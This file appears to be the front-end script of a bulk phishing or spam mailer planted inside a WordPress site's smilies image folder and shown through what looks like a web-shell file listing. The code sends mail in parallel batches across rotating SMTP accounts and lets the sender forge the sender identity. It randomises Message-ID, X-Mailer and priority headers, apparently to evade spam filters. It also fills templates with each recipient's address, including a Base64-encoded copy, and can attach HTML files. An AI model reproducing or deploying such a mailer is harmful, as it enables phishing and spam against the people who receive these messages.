| Current Path : /home/ladengineer/public_html/wp-includes/images/smilies/lib/ |
| Current File : /home/ladengineer/public_html/wp-includes/images/smilies/lib/script.js |
document.addEventListener('DOMContentLoaded', () => {
// ==================== Element References ====================
const useSmtpCheckbox = document.getElementById('useSmtp');
const smtpModal = document.getElementById('smtpModal');
const closeModalBtn = document.getElementById('closeModal');
const useHtmlAttachmentCheckbox = document.getElementById('useHtmlAttachment');
const htmlAttachmentSection = document.querySelector('.html-attachment');
const sendBtn = document.getElementById('sendBtn');
const smtpTableBody = document.querySelector('#smtpTable tbody');
const addSmtpBtn = document.getElementById('addSmtp');
const testSmtpBtn = document.getElementById('testSmtp');
const senderNameInput = document.getElementById('senderName');
const senderEmailInput = document.getElementById('senderEmail');
const replyToInput = document.getElementById('replyTo');
const attachmentInput = document.getElementById('attachment');
const htmlAttachmentContentInput = document.getElementById('htmlAttachmentContent');
const htmlAttachmentNameInput = document.getElementById('htmlAttachmentName');
const htmlAttachmentExtInput = document.getElementById('htmlAttachmentExt');
const recipientEmailsInput = document.getElementById('recipientEmails');
const emailSubjectInput = document.getElementById('emailSubject');
const emailTemplateInput = document.getElementById('emailTemplate');
const csrfTokenInput = document.getElementById('csrfToken');
const consentCheckbox = document.getElementById('consent');
const threadCountInput = document.getElementById('threadCount');
const previewBtn = document.getElementById('previewBtn');
const previewModal = document.getElementById('previewModal');
const closePreviewModalBtn = document.getElementById('closePreviewModal');
const previewContent = document.getElementById('previewContent');
// Sending Modal Elements
const sendingModal = document.getElementById('sendingModal');
const sendingStatus = document.getElementById('sendingStatus');
const closeSendingModalBtn = document.getElementById('closeSendingModal');
const pauseBtn = document.getElementById('pauseBtn');
const resumeBtn = document.getElementById('resumeBtn');
const stopBtn = document.getElementById('stopBtn');
const sendingSummary = document.getElementById('sendingSummary');
const summaryText = document.getElementById('summaryText');
let progressBar;
let smtpSettings = [];
let isPaused = false;
let isStopped = false;
let processedCount = 0;
// Generate CSRF token
csrfTokenInput.value = crypto.randomUUID();
// Initialize tooltips
tippy('[data-tippy-content]');
// Initialize Progress Bar
function initProgressBar() {
if (progressBar) progressBar.destroy();
progressBar = new ProgressBar.Line('#progressBar', {
strokeWidth: 6,
color: '#00bfff',
duration: 800,
easing: 'easeInOut',
trailColor: '#eee',
trailWidth: 2,
svgStyle: { width: '100%', height: '8px' }
});
progressBar.set(0);
}
// ==================== SMTP Settings ====================
function loadSmtpSettings() {
const saved = localStorage.getItem('smtpSettings');
if (saved) {
try {
smtpSettings = JSON.parse(saved);
smtpSettings.forEach(setting => addSmtpSettingToTable(setting));
const hasEnabled = smtpSettings.some(setting => setting.use);
if (hasEnabled) {
useSmtpCheckbox.checked = true;
localStorage.setItem('smtpEnabled', 'true');
}
} catch (e) {
console.error('Failed to load SMTP settings:', e);
}
}
}
function saveSmtpSettings() {
localStorage.setItem('smtpSettings', JSON.stringify(smtpSettings));
}
loadSmtpSettings();
if (localStorage.getItem('smtpEnabled') === 'true') {
useSmtpCheckbox.checked = true;
}
// SMTP Modal Events
useSmtpCheckbox.addEventListener('change', () => {
localStorage.setItem('smtpEnabled', useSmtpCheckbox.checked);
smtpModal.classList.toggle('hidden', !useSmtpCheckbox.checked);
});
closeModalBtn.addEventListener('click', () => {
smtpModal.classList.add('hidden');
useSmtpCheckbox.checked = false;
});
smtpModal.addEventListener('click', (e) => {
if (e.target === smtpModal) {
smtpModal.classList.add('hidden');
useSmtpCheckbox.checked = false;
}
});
useHtmlAttachmentCheckbox.addEventListener('change', () => {
htmlAttachmentSection.classList.toggle('hidden', !useHtmlAttachmentCheckbox.checked);
});
// Preview Modal
previewBtn.addEventListener('click', () => {
const sampleRecipient = 'example@domain.com';
const previewData = {
senderName: replaceTags(senderNameInput.value.trim(), { email: sampleRecipient }),
senderEmail: replaceTags(senderEmailInput.value.trim(), { email: sampleRecipient }),
replyTo: replaceTags(replyToInput.value.trim(), { email: sampleRecipient }),
subject: replaceTags(emailSubjectInput.value.trim(), { email: sampleRecipient }),
body: replaceTags(emailTemplateInput.value.trim(), { email: sampleRecipient }),
};
previewContent.innerHTML = `
<p><strong>Sender Name:</strong> ${previewData.senderName}</p>
<p><strong>Sender Email:</strong> ${previewData.senderEmail}</p>
<p><strong>Reply-To:</strong> ${previewData.replyTo || 'None'}</p>
<p><strong>Subject:</strong> ${previewData.subject}</p>
<p><strong>Body:</strong></p>
<div>${previewData.body}</div>
`;
previewModal.classList.remove('hidden');
});
closePreviewModalBtn.addEventListener('click', () => previewModal.classList.add('hidden'));
previewModal.addEventListener('click', (e) => {
if (e.target === previewModal) previewModal.classList.add('hidden');
});
// ==================== Sending Controls ====================
pauseBtn.addEventListener('click', () => {
isPaused = true;
pauseBtn.classList.add('hidden');
resumeBtn.classList.remove('hidden');
sendingStatus.innerHTML += '<br><span style="color:orange;">● Paused</span>';
});
resumeBtn.addEventListener('click', () => {
isPaused = false;
resumeBtn.classList.add('hidden');
pauseBtn.classList.remove('hidden');
sendingStatus.innerHTML = sendingStatus.innerHTML.replace(/<br><span style="color:orange;">● Paused<\/span>/, '');
});
stopBtn.addEventListener('click', () => {
if (confirm('Stop sending? Remaining emails will not be sent.')) {
isStopped = true;
sendingModal.classList.add('hidden');
}
});
closeSendingModalBtn.addEventListener('click', () => {
if (confirm('Close progress window? Sending will be stopped.')) {
isStopped = true;
sendingModal.classList.add('hidden');
}
});
// ==================== SMTP Functions ====================
function getSmtpFormData() {
const host = document.getElementById('smtp_host').value.trim();
const port = document.getElementById('smtp_port').value.trim();
const user = document.getElementById('smtp_user').value.trim();
const pass = document.getElementById('smtp_pass').value.trim();
const encrypt = document.getElementById('smtp_encrypt').value;
const senderName = document.getElementById('smtp_sender_name').value.trim();
const senderEmail = document.getElementById('smtp_sender_email').value.trim();
const recipientEmail = document.getElementById('smtp_recipient_email').value.trim();
if (!host || !port || !user || !pass || !senderName || !senderEmail || !recipientEmail) {
alert('Please fill all SMTP fields.');
return null;
}
return { host, port, user, pass, encrypt, senderName, senderEmail, recipientEmail };
}
function addSmtpSetting({ host, port, user, pass, encrypt }) {
const newSetting = { host, port, user, pass, encrypt, use: true };
smtpSettings.push(newSetting);
addSmtpSettingToTable(newSetting);
saveSmtpSettings();
useSmtpCheckbox.checked = true;
localStorage.setItem('smtpEnabled', 'true');
}
function addSmtpSettingToTable(setting) {
const newRow = document.createElement('tr');
newRow.innerHTML = `
<td><input type="checkbox" class="smtp-use-checkbox" ${setting.use ? 'checked' : ''}></td>
<td>${setting.host}</td>
<td>${setting.port}</td>
<td>${setting.user}</td>
<td>${setting.encrypt.toUpperCase()}</td>
<td><button class="smtp-remove-btn">Remove</button></td>
`;
smtpTableBody.appendChild(newRow);
const useCheckbox = newRow.querySelector('.smtp-use-checkbox');
useCheckbox.addEventListener('change', (e) => {
const index = Array.from(smtpTableBody.children).indexOf(newRow);
if (index >= 0) smtpSettings[index].use = e.target.checked;
saveSmtpSettings();
});
newRow.querySelector('.smtp-remove-btn').addEventListener('click', () => {
const index = Array.from(smtpTableBody.children).indexOf(newRow);
if (index >= 0) smtpSettings.splice(index, 1);
saveSmtpSettings();
newRow.remove();
});
}
function resetSmtpForm() {
['smtp_host', 'smtp_port', 'smtp_user', 'smtp_pass', 'smtp_sender_name', 'smtp_sender_email', 'smtp_recipient_email']
.forEach(id => document.getElementById(id).value = '');
document.getElementById('smtp_encrypt').value = 'tls';
}
async function testSmtpConnection(smtpData) {
try {
const response = await fetch('smtp_test.php', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(smtpData)
});
if (!response.ok) throw new Error(`Network error: ${response.status}`);
const data = await response.json();
if (!data.success) throw new Error(data.message || 'SMTP test failed');
return true;
} catch (err) {
throw new Error(err.message || 'SMTP test failed');
}
}
addSmtpBtn.addEventListener('click', () => {
const smtpData = getSmtpFormData();
if (!smtpData) return;
testSmtpConnection(smtpData)
.then(success => {
if (success) {
addSmtpSetting(smtpData);
resetSmtpForm();
smtpModal.classList.add('hidden');
useSmtpCheckbox.checked = false;
}
})
.catch(err => alert('SMTP Test Failed: ' + err.message));
});
testSmtpBtn.addEventListener('click', () => {
const smtpData = getSmtpFormData();
if (!smtpData) return;
testSmtpConnection(smtpData)
.then(success => alert(success ? 'SMTP test successful!' : 'SMTP test failed.'))
.catch(err => alert('SMTP Test Error: ' + err.message));
});
// ==================== Utility Functions ====================
function capitalizeFirstLetter(str) {
if (!str) return '';
return str.charAt(0).toUpperCase() + str.slice(1);
}
function generateMD5() {
const str = Math.random().toString(36).slice(2) + Math.random().toString(36).slice(2);
return CryptoJS.MD5(str).toString();
}
function getShortDate() {
const d = new Date();
return `${String(d.getDate()).padStart(2, '0')}/${String(d.getMonth() + 1).padStart(2, '0')}/${d.getFullYear()}`;
}
function getLongDate() {
const d = new Date();
const days = ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'];
const months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];
return `${days[d.getDay()]}, ${String(d.getDate()).padStart(2, '0')} ${months[d.getMonth()]} ${d.getFullYear()}`;
}
function getShortTime() {
const d = new Date();
let hours = d.getHours();
const minutes = d.getMinutes();
const ampm = hours >= 12 ? 'PM' : 'AM';
hours = hours % 12 || 12;
return `${String(hours).padStart(2, '0')}:${String(minutes).padStart(2, '0')} ${ampm}`;
}
function getLongTime() {
const d = new Date();
const days = ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'];
const months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];
return `${String(d.getHours()).padStart(2, '0')}:${String(d.getMinutes()).padStart(2, '0')} ${days[d.getDay()]}, ${String(d.getDate()).padStart(2, '0')} ${months[d.getMonth()]} ${d.getFullYear()}`;
}
function getRandomNumber(len) {
let result = '';
for (let i = 0; i < len; i++) result += Math.floor(Math.random() * 10);
return result;
}
function getRandomLettersCase(len, upper) {
const letters = 'abcdefghijklmnopqrstuvwxyz';
let result = '';
for (let i = 0; i < len; i++) result += letters.charAt(Math.floor(Math.random() * letters.length));
return upper ? result.toUpperCase() : result;
}
function getRandomMixedCase(len, upper) {
const chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
let result = '';
for (let i = 0; i < len; i++) result += chars.charAt(Math.floor(Math.random() * chars.length));
return upper ? result.toUpperCase() : result;
}
function extractHost(domain) {
if (!domain) return '';
const parts = domain.split('.');
return parts.length >= 2 ? parts[parts.length - 2] : domain;
}
function replaceTags(template, data) {
if (!data.email) return template;
const email = data.email;
const [localRaw, fullDomainRaw] = email.split('@');
const local = localRaw || '';
const domainRaw = fullDomainRaw || '';
const hostRaw = extractHost(domainRaw);
const base64Email = btoa(email);
let result = template;
result = result.replace(/\[Base64email\]/gi, base64Email);
result = result.replace(/\[ShortTime\]/gi, getShortTime());
result = result.replace(/\[LongTime\]/gi, getLongTime());
result = result.replace(/\[(randomletter(\d+))\]/gi, (match, tagName, num) => {
const len = parseInt(num, 10) || 4;
const isUpper = (match === match.toUpperCase());
return getRandomLettersCase(len, isUpper);
});
result = result.replace(/\[(randommixed(\d+))\]/gi, (match, tagName, num) => {
const len = parseInt(num, 10) || 8;
const isUpper = (match === match.toUpperCase());
return getRandomMixedCase(len, isUpper);
});
result = result.replace(/\[(RandomNumber(\d+))\]/gi, (match, tagName, num) => {
let len = parseInt(num, 10) || 6;
if (len < 1 || len > 10) len = 6;
return getRandomNumber(len);
});
const replacements = {
'[Email]': email,
'[email]': email.toLowerCase(),
'[Host]': capitalizeFirstLetter(hostRaw),
'[host]': hostRaw.toLowerCase(),
'[Domain]': capitalizeFirstLetter(domainRaw),
'[domain]': domainRaw.toLowerCase(),
'[User]': capitalizeFirstLetter(local),
'[user]': local.toLowerCase(),
'[shortdate]': getShortDate(),
'[longdate]': getLongDate(),
'[MD5]': generateMD5(),
};
for (const tag in replacements) {
const re = new RegExp(tag.replace(/[[\]]/g, '\\$&'), 'g');
result = result.replace(re, replacements[tag]);
}
return result;
}
function validateEmail(email) {
const re = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
return re.test(email);
}
function validateForm() {
const recipients = recipientEmailsInput.value.trim().split(/[\n,]+/).map(r => r.trim()).filter(r => r);
if (recipients.length === 0) {
alert('Please enter at least one valid recipient email.');
return false;
}
for (const email of recipients) {
if (!validateEmail(email)) {
alert(`Invalid email: ${email}`);
return false;
}
}
if (!senderNameInput.value.trim()) { alert('Please enter a sender name.'); return false; }
if (replyToInput.value.trim() && !validateEmail(replyToInput.value.trim())) {
alert('Please enter a valid reply-to email or leave it empty.');
return false;
}
if (!emailSubjectInput.value.trim()) { alert('Please enter an email subject.'); return false; }
if (!emailTemplateInput.value.trim()) { alert('Please enter an email body.'); return false; }
if (!consentCheckbox.checked) { alert('Please confirm consent before sending.'); return false; }
return true;
}
function readFileAsText(file) {
return new Promise((resolve, reject) => {
const reader = new FileReader();
reader.onload = (event) => resolve(event.target.result);
reader.onerror = (error) => reject(error);
reader.readAsText(file);
});
}
// ==================== FIXED Main Send Function ====================
sendBtn.addEventListener('click', async (e) => {
e.preventDefault();
if (!validateForm()) return;
// Reset flags
isPaused = false;
isStopped = false;
processedCount = 0;
// Show modal
sendingModal.classList.remove('hidden');
sendingStatus.textContent = 'Preparing to send emails...';
sendingSummary.classList.add('hidden');
pauseBtn.classList.remove('hidden');
resumeBtn.classList.add('hidden');
initProgressBar();
const recipients = recipientEmailsInput.value.trim()
.split(/[\n,]+/)
.map(r => r.trim())
.filter(r => r.length > 0);
const totalEmails = recipients.length;
const threadCount = parseInt(threadCountInput.value, 10) || 5;
const smtpEnabled = useSmtpCheckbox.checked;
const selectedSmtpSettings = smtpSettings.filter(s => s.use);
if (smtpEnabled && selectedSmtpSettings.length === 0) {
alert('Please select at least one SMTP setting or disable SMTP.');
sendingModal.classList.add('hidden');
return;
}
let successCount = 0;
let failCount = 0;
try {
for (let i = 0; i < totalEmails; i += threadCount) {
if (isStopped) break;
// Pause handling
while (isPaused && !isStopped) {
await new Promise(resolve => setTimeout(resolve, 300));
}
if (isStopped) break;
const batch = recipients.slice(i, i + threadCount);
const batchPromises = batch.map(async (recipientEmail, batchIndex) => {
const globalIndex = i + batchIndex;
const currentCount = globalIndex + 1;
// Updated progress counter
sendingStatus.textContent = `Sending ${currentCount}/${totalEmails} to ${recipientEmail}...`;
const smtpToUse = smtpEnabled
? selectedSmtpSettings[globalIndex % selectedSmtpSettings.length]
: null;
const customHeaders = {
'Message-ID': `<${generateMD5()}@${Math.random().toString(36).substring(2)}.com>`,
'X-Mailer': `Mailer-${getRandomMixedCase(8, false)}`,
'X-Priority': Math.floor(Math.random() * 3) + 1,
'X-Random-Tag': getRandomNumber(10),
};
const result = await sendEmailSingle(recipientEmail, smtpToUse, customHeaders, smtpEnabled);
if (result.success) successCount++;
else failCount++;
processedCount++;
const progress = processedCount / totalEmails;
progressBar.animate(Math.min(progress, 1));
return result;
});
await Promise.all(batchPromises);
}
// Sending Completed
sendingStatus.textContent = `Sending Completed! (${processedCount}/${totalEmails})`;
summaryText.innerHTML = `
Total Emails: <strong>${totalEmails}</strong><br>
Successful: <span style="color:green;">${successCount}</span><br>
Failed: <span style="color:red;">${failCount}</span>
`;
sendingSummary.classList.remove('hidden');
} catch (err) {
console.error(err);
sendingStatus.innerHTML = `Error occurred: ${err.message}`;
}
});
// ==================== Send Single Email ====================
async function sendEmailSingle(recipientEmail, smtpSetting, customHeaders, smtpEnabled) {
const subject = replaceTags(emailSubjectInput.value.trim(), { email: recipientEmail });
const body = replaceTags(emailTemplateInput.value.trim(), { email: recipientEmail });
const resolved_SenderEmail = replaceTags(senderEmailInput.value.trim(), { email: recipientEmail });
const resolved_SenderName = replaceTags(senderNameInput.value.trim(), { email: recipientEmail });
const resolved_ReplyTo = replaceTags(replyToInput.value.trim(), { email: recipientEmail });
let attachmentData = null;
let htmlAttachmentData = null;
if (attachmentInput.files.length > 0) {
try {
const fileContent = await readFileAsText(attachmentInput.files[0]);
const replacedContent = replaceTags(fileContent, { email: recipientEmail });
const base64 = btoa(unescape(encodeURIComponent(replacedContent)));
attachmentData = {
base64: base64,
filename: replaceTags(attachmentInput.files[0].name, { email: recipientEmail }),
mimeType: attachmentInput.files[0].type
};
} catch (err) {
console.error('Attachment error:', err);
return { success: false, error: 'Attachment failed' };
}
}
if (useHtmlAttachmentCheckbox.checked) {
const content = replaceTags(htmlAttachmentContentInput.value.trim(), { email: recipientEmail });
const filename = replaceTags(htmlAttachmentNameInput.value.trim() + '.' + htmlAttachmentExtInput.value.trim(), { email: recipientEmail });
htmlAttachmentData = { content, filename };
}
const emailData = {
senderName: resolved_SenderName,
senderEmail: resolved_SenderEmail,
subject: subject,
recipients: [recipientEmail],
emailBody: body,
emailFormat: document.getElementById('formatHtml').checked ? 'html' : 'plain',
useSmtp: smtpEnabled && smtpSetting ? true : false,
smtpSettings: smtpEnabled && smtpSetting ? [smtpSetting] : [],
attachment: attachmentData,
htmlAttachment: htmlAttachmentData,
customHeaders: customHeaders,
csrfToken: csrfTokenInput.value
};
if (resolved_ReplyTo && validateEmail(resolved_ReplyTo)) {
emailData.replyTo = resolved_ReplyTo;
}
try {
const response = await fetch('send_json.php', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(emailData)
});
if (!response.ok) throw new Error(`HTTP error: ${response.status}`);
const result = await response.json();
return { success: result.success === true, error: result.message };
} catch (err) {
return { success: false, error: err.message };
}
}
});